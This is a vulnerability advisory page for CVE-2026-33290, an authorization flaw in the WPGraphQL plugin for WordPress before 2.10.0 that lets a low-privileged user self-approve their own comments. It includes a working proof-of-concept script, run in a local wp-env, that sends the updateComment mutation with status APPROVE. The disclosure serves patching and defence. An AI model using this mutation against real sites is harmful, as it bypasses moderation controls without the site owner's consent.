CVE-2026-33290

Source
https://cve.org/CVERecord?id=CVE-2026-33290
Import Source
https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-33290.json
JSON Data
https://api.osv.dev/v1/vulns/CVE-2026-33290
Aliases
  • GHSA-9hc3-mh5h-4fgh
Published
2026-03-23T23:58:57.345Z
Modified
2026-04-10T05:42:42.840817Z
Severity
  • 4.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N CVSS Calculator
Summary
WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission
Details

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

  • plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
  • plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
  • plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
  • plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wpupdatecomment.
  • plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

  1. Start environment:

    npm install npm run wp-env start

  2. Run this PoC:

  npm run wp-env run cli -- wp eval '
  add_role("no_caps","No Caps",[]);
  $user_id = username_exists("poc_nocaps");
  if ( ! $user_id ) {
    $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
  }
  $user = get_user_by("id",$user_id);
  $user->set_role("no_caps");

  $post_id = wp_insert_post([
    "post_title" => "PoC post",
    "post_status" => "publish",
    "post_type" => "post",
    "comment_status" => "open",
  ]);

  $comment_id = wp_insert_comment([
    "comment_post_ID" => $post_id,
    "comment_content" => "pending comment",
    "user_id" => $user_id,
    "comment_author" => $user->display_name,
    "comment_author_email" => $user->user_email,
    "comment_approved" => "0",
  ]);

  wp_set_current_user($user_id);

  $result = graphql([
    "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
    "variables" => [ "id" => (string)$comment_id ],
  ]);

  echo wp_json_encode([
    "role_caps" => array_keys(array_filter((array)$user->allcaps)),
    "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
    "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
    "comment_id" => $comment_id
  ]);
  '
  1. Observe result:
  • rolecaps is empty (or no moderatecomments)
  • mutation returns status: APPROVE
  • DB value becomes comment_approved = 1

Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

Database specific
{
    "cwe_ids": [
        "CWE-862"
    ],
    "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33290.json",
    "cna_assigner": "GitHub_M"
}
References

Affected packages

Git / github.com/wp-graphql/wp-graphql

Affected ranges

Type
GIT
Repo
https://github.com/wp-graphql/wp-graphql
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed
Database specific
{
    "versions": [
        {
            "introduced": "0"
        },
        {
            "fixed": "2.10.0"
        }
    ]
}

Affected versions

0.*
0.0.2
0.0.3
0.0.5
1.*
1.2.2
v0.*
v0.0.10
v0.0.11
v0.0.12
v0.0.13
v0.0.14
v0.0.15
v0.0.16
v0.0.18
v0.0.20
v0.0.21
v0.0.22
v0.0.23
v0.0.24
v0.0.25
v0.0.26
v0.0.27
v0.0.28
v0.0.29
v0.0.30
v0.0.31
v0.0.32
v0.0.33
v0.0.34
v0.0.6
v0.0.7
v0.0.8
v0.0.9
v0.1.0
v0.1.1
v0.1.2
v0.1.3
v0.1.4
v0.10.0
v0.10.1
v0.10.2
v0.10.3
v0.11.0
v0.12.0
v0.12.1
v0.12.2
v0.12.3
v0.13.0
v0.13.1
v0.13.2
v0.13.3
v0.14.0
v0.15.0
v0.15.1
v0.15.2
v0.15.3
v0.15.4
v0.15.6
v0.2.0
v0.2.1
v0.2.2
v0.2.3
v0.3.0
v0.3.01
v0.3.2
v0.3.5
v0.3.6
v0.3.7
v0.3.8
v0.4.0
v0.4.1
v0.4.2
v0.4.3
v0.5.0
v0.5.1
v0.6.0
v0.6.1
v0.6.2
v0.6.3
v0.7.0
v0.7.1
v0.8.0
v0.8.1
v0.8.2
v0.8.3
v0.8.4
v0.9.0
v0.9.1
v1.*
v1.0
v1.0.1
v1.0.2
v1.0.3
v1.0.4
v1.0.5
v1.1.0
v1.1.1
v1.1.2
v1.1.3
v1.1.4
v1.1.5
v1.1.8
v1.10.0
v1.11.0
v1.11.1
v1.11.2
v1.11.3
v1.12.0
v1.12.1
v1.12.2
v1.12.3
v1.13.0
v1.13.1
v1.13.2
v1.13.3
v1.13.4
v1.13.5
v1.13.6
v1.13.7
v1.14.3
v1.2.1
v1.2.4
v1.2.5
v1.2.6
v1.3.0
v1.3.1
v1.3.10
v1.3.2
v1.3.3
v1.3.4
v1.3.5
v1.3.6
v1.3.7
v1.3.8
v1.3.9
v1.4.0
v1.4.1
v1.4.2
v1.4.3
v1.4.7
v1.5.0
v1.5.1
v1.5.2
v1.5.3
v1.5.4
v1.5.5
v1.5.6
v1.5.7
v1.5.8
v1.6.0
v1.6.1
v1.6.10
v1.6.11
v1.6.12
v1.6.2
v1.6.3
v1.6.4
v1.6.5
v1.6.6
v1.6.7
v1.6.8
v1.6.9
v1.7.0
v1.7.1
v1.7.2
v1.8.0
v1.8.1
v1.8.2
v1.8.3
v1.8.4
v1.8.5
v1.8.6
v1.8.7
v1.9.0
v1.9.1
wp-graphql-acf/v2.*
wp-graphql-acf/v2.5.0
wp-graphql-acf/v2.5.1
wp-graphql-ide/v4.*
wp-graphql-ide/v4.1.0
wp-graphql-smart-cache/v2.*
wp-graphql-smart-cache/v2.0.1
wp-graphql/v2.*
wp-graphql/v2.7.0
wp-graphql/v2.8.0
wp-graphql/v2.9.0
wp-graphql/v2.9.1

Database specific

source
"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-33290.json"